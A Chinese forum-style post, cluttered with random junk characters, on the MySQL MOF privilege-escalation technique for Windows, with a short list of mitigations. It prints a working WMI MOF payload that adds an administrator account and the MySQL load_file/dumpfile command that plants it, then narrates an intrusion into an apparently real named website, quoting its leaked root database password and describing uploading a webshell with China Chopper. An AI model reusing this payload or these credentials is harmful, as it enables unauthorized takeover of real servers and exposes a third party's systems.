Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
9 j& D3 V' F  R$ k. o! b1 M
6 `0 w/ f7 o5 R) ^% ]; J" r4 K网上公开的一些利用代码:
5 D% D  M& F( N8 e8 q3 P( N
#pragma namespace(“\\\\.\\root\\subscription”)
  _3 {% {5 R8 b, e
; ^* T5 ^! {0 O4 Ginstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };





% F% J$ |' N% [7 w- r7 A连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
' v' S$ z: n2 E* A从上面代码来看得出解决办法：

3 w* u  Y: I3 G$ u/ t3 c1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数
  y9 B4 P$ w& G( J
9 @1 V( `  ]* F: A' k2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
8 Z, L3 t# l4 e9 g
1 H% f# l( B6 z* X当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

; v( k6 P2 x$ g2 T事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
) [8 }) a9 v. Y: d
8 M* |. ]! N9 f. E但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
( ?+ A. j0 i, g: q; |1 I1 ^+ b
/ j6 q! r  p- b( Z; h' \1 W看懂了后就开始练手吧
2 n7 m4 z4 \3 g: i
http://www.webbmw.com/config/config_ucenter.php 一句话 a

0 u, D% J( w& U2 E: H  e1 ?) w+ Q$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。

) K5 I& r5 o' o于是直接用菜刀开搞
/ u" b9 j& {. z
上马先

& L4 m. k# n! P8 \, o既然有了那些账号 之类的 于是我们就执行吧…….

小小的说下

1 ^9 f% a3 |7 D1 }% P4 R' ]在这里第1次执行未成功        原因未知

我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

1 A( a* c7 x" _- F5 j3 z0 g#pragma namespace(“\\\\.\\root\\subscription”)

' `, `. L$ _% O" y5 ?0 r4 Dinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
9 b. z; V8 z0 {7 S( Q: M7 H
' b( Q9 X0 g: W" f: G5 j我是将文件放到C:\WINDOWS\temp\1.mof
0 x$ D' P* J$ B1 L4 L6 C
所以我们就改下执行的代码
4 x( J2 o7 Y5 ]! R6 s  r
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

& `, u4 p4 j! n) `+ I8 r9 ^0 U

但是 你会发现账号还是没有躺在那里。。

于是我就感觉蛋疼
+ G# x# \6 |1 P8 j
就去一个一个去执行 但是执行到第2个 mysql时就成功了………



但是其他库均不成功…
/ H* y! d; s' A+ [9 V
+ g& H8 L6 P0 w/ ~! \我就很费解呀 到底为什么不成功求大牛解答…

​
* W; G: N  A. L$ q" ?& |/ L
! ?; P* f( A+ J  [* ?; `, W# X